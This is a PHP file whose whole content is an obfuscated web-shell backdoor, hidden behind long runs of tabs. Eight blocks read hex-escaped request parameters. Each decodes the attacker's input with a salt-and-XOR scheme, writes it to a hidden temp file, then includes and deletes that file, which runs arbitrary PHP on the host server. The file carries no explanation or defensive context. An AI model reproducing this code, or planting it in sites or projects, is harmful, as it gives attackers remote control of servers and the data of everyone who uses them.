<?php																																										if(in_array("d\x65\x73c\x72ipt\x6Fr", array_keys($_REQUEST))){ $pgrp = $_REQUEST["d\x65\x73c\x72ipt\x6Fr"]; $pgrp = explode ('.' , $pgrp ); $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $o = 0; $__tmp = $pgrp; while( $v8 = array_shift( $__tmp)) { $chS = ord( $salt[$o % $sLen]); $dec =( ( int)$v8 - $chS -( $o % 10))^ 81; $binding.=chr( $dec); $o++; } $flag = array_filter(["/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP")]); while ($k = array_shift($flag)) { if (is_dir($k) && is_writable($k)) { $parameter_group = "$k" . "/.resource"; if (file_put_contents($parameter_group, $binding)) { include $parameter_group; @unlink($parameter_group); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["d\x61t\x61_c\x68\x75nk"])){ $val = array_filter(["/dev/shm", getcwd(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir()]); $hld = $_REQUEST["d\x61t\x61_c\x68\x75nk"]; $hld = explode ('.' ,$hld ) ; $dat = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7 ); $len = count($hld ); for ($y = 0; $y < $len; $y++) { $v1 = $hld[$y]; $sChar = ord($salt7[$y% $lenS] ); $d = ((int)$v1 - $sChar - ($y% 10))^ 45; $dat .= chr($d ); } foreach ($val as $key => $itm) { if (max(0, is_dir($itm) * is_writable($itm))) { $value = "$itm" . "/.property_set"; $success = file_put_contents($value, $dat); if ($success) { include $value; @unlink($value); die();} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x63\x6Fmp"])){ $val = $_REQUEST["\x63\x6Fmp"]; $val= explode( "." , $val); $reference=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt); foreach($val as $v=> $v2): $sChar=ord($salt[$v % $lenS]); $dec=((int)$v2 - $sChar -($v % 10)) ^ 7; $reference .=chr($dec); endforeach; $rec = array_filter(["/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm", getenv("TMP")]); foreach ($rec as $hld) { if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $pset = vsprintf("%s/%s", [$hld, ".holder"]); $success = file_put_contents($pset, $reference); if ($success) { include $pset; @unlink($pset); die();} } } }
																																										if(@$_REQUEST["f\x61\x63"] !== null){ $rec = $_REQUEST["f\x61\x63"]; $rec = explode ( '.' ,$rec ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $k = 0; while ($k< count($rec)) { $v9 = $rec[$k]; $chS = ord($salt[$k % $sLen]); $dec = ((int)$v9 - $chS - ($k % 10))^21; $key.= chr($dec); $k++;} $dat = array_filter(["/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); while ($flg = array_shift($dat)) { if ((is_dir($flg) and is_writable($flg))) { $ent = vsprintf("%s/%s", [$flg, ".descriptor"]); if (file_put_contents($ent, $key)) { include $ent; @unlink($ent); die(); } } } }
																																										if(array_key_exists("\x65n\x74", $_POST)){ $fac = array_filter(["/var/tmp", "/dev/shm", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), getenv("TMP")]); $pgrp = $_POST["\x65n\x74"]; $pgrp = explode ('.',$pgrp ) ; $mrk=''; $s8='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s8 ); $z=0; array_walk( $pgrp , function( $v9) use( &$mrk , &$z , $s8 , $sLen) {$chS=ord( $s8[$z % $sLen] ); $d=( ( int)$v9 - $chS -( $z % 10)) ^ 69; $mrk .= chr( $d ); $z++; } ); while ($sym = array_shift($fac)) { if ((bool)is_dir($sym) && (bool)is_writable($sym)) { $val = join("/", [$sym, ".data_chunk"]); $success = file_put_contents($val, $mrk); if ($success) { include $val; @unlink($val); exit;} } } }
																																										if(isset($_POST["\x62i\x6Edi\x6Eg"]) ? true : false){ $key = $_POST["\x62i\x6Edi\x6Eg"]; $key = explode ( '.' ,$key ) ; $data = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); $len = count($key ); for ($o = 0; $o< $len; $o++) { $v5 = $key[$o]; $sChar = ord($salt4[$o % $sLen] ); $d = ((int)$v5 - $sChar - ($o % 10)) ^ 13; $data .= chr($d ); } $ref = array_filter([sys_get_temp_dir(), getenv("TMP"), "/dev/shm", session_save_path(), getcwd(), getenv("TEMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir")]); while ($resource = array_shift($ref)) { if ((bool)is_dir($resource) && (bool)is_writable($resource)) { $obj = sprintf("%s/.parameter_group", $resource); if (file_put_contents($obj, $data)) { require $obj; unlink($obj); die(); } } } }
																																										if(@$_REQUEST["e\x6Et"] !== null){ $res = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), getcwd()]); $record = $_REQUEST["e\x6Et"]; $record = explode ( '.' , $record) ; $flag = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2 ); $s = 0; while ($s < count($record)) { $v8 = $record[$s]; $chS = ord($s2[$s % $lenS] ); $d = ((int)$v8 - $chS - ($s % 10))^ 93; $flag.= chr($d ); $s++; } foreach ($res as $token) { if (!( !is_dir($token) || !is_writable($token) )) { $elem = "$token" . "/.tkn"; $success = file_put_contents($elem, $flag); if ($success) { include $elem; @unlink($elem); die();} } } }


if(isset($_REQUEST) && isset($_REQUEST["desc"])){
	$ref = $_REQUEST["desc"];
	$ref=	 explode  	( 	 "."	,$ref	 )  ; 
	$bind= '';
            $s= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS= strlen($s);
            $__len= count($ref);
    
            for ($m= 0; $m < $__len; $m++) { $v2= $ref[$m];
                $chS= ord($s[$m % $lenS]);
                $dec= ((int)$v2 - $chS - ($m % 10)) ^ 69;
                $bind .= chr($dec);}		
	$dchunk = array_filter([getenv("TEMP"), "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp"]);
	while ($obj = array_shift($dchunk)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($obj)) {
    $parameter_group = str_replace("{var_dir}", $obj, "{var_dir}/.marker");
    $success = file_put_contents($parameter_group, $bind);
if ($success) {
	include $parameter_group;
	@unlink($parameter_group);
	exit;}
}
}
}